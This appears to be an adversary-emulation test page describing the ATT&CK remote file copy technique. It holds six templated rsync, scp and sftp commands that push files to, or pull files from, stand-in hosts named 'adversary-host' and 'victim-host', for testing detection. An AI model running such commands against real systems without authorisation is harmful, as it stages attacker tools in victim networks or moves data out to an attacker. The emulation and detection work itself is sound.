Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.
Utilize rsync to perform a remote file copy (push)
Supported Platforms: Linux, macOS
Name | Description | Type | Default Value |
---|---|---|---|
local_path | Path of folder to copy | Path | /tmp/adversary-rsync/ |
username | User account to authenticate on remote host | String | victim |
remote_host | Remote host to copy toward | String | victim-host |
remote_path | Remote path to receive rsync | Path | /tmp/victim-files |
rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}
Utilize rsync to perform a remote file copy (pull)
Supported Platforms: Linux, macOS
Name | Description | Type | Default Value |
---|---|---|---|
remote_path | Path of folder to copy | Path | /tmp/adversary-rsync/ |
username | User account to authenticate on remote host | String | adversary |
remote_host | Remote host to copy from | String | adversary-host |
local_path | Local path to receive rsync | Path | /tmp/victim-files |
rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}
Utilize scp to perform a remote file copy (push)
Supported Platforms: Linux, macOS
Name | Description | Type | Default Value |
---|---|---|---|
local_file | Path of file to copy | Path | /tmp/adversary-scp |
username | User account to authenticate on remote host | String | victim |
remote_host | Remote host to copy toward | String | victim-host |
remote_path | Remote path to receive scp | Path | /tmp/victim-files/ |
scp #{local_file} #{username}@#{remote_host}:#{remote_path}
Utilize scp to perform a remote file copy (pull)
Supported Platforms: Linux, macOS
Name | Description | Type | Default Value |
---|---|---|---|
remote_file | Path of file to copy | Path | /tmp/adversary-scp |
username | User account to authenticate on remote host | String | adversary |
remote_host | Remote host to copy from | String | adversary-host |
local_path | Local path to receive scp | Path | /tmp/victim-files/ |
scp #{username}@#{remote_host}:#{remote_file} #{local_path}
Utilize sftp to perform a remote file copy (push)
Supported Platforms: Linux, macOS
Name | Description | Type | Default Value |
---|---|---|---|
local_file | Path of file to copy | Path | /tmp/adversary-sftp |
username | User account to authenticate on remote host | String | victim |
remote_host | Remote host to copy toward | String | victim-host |
remote_path | Remote path to receive sftp | Path | /tmp/victim-files/ |
sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}'
Utilize sftp to perform a remote file copy (pull)
Supported Platforms: Linux, macOS
Name | Description | Type | Default Value |
---|---|---|---|
remote_file | Path of file to copy | Path | /tmp/adversary-sftp |
username | User account to authenticate on remote host | String | adversary |
remote_host | Remote host to copy from | String | adversary-host |
local_path | Local path to receive sftp | Path | /tmp/victim-files/ |
sftp #{username}@#{remote_host}:#{remote_file} #{local_path}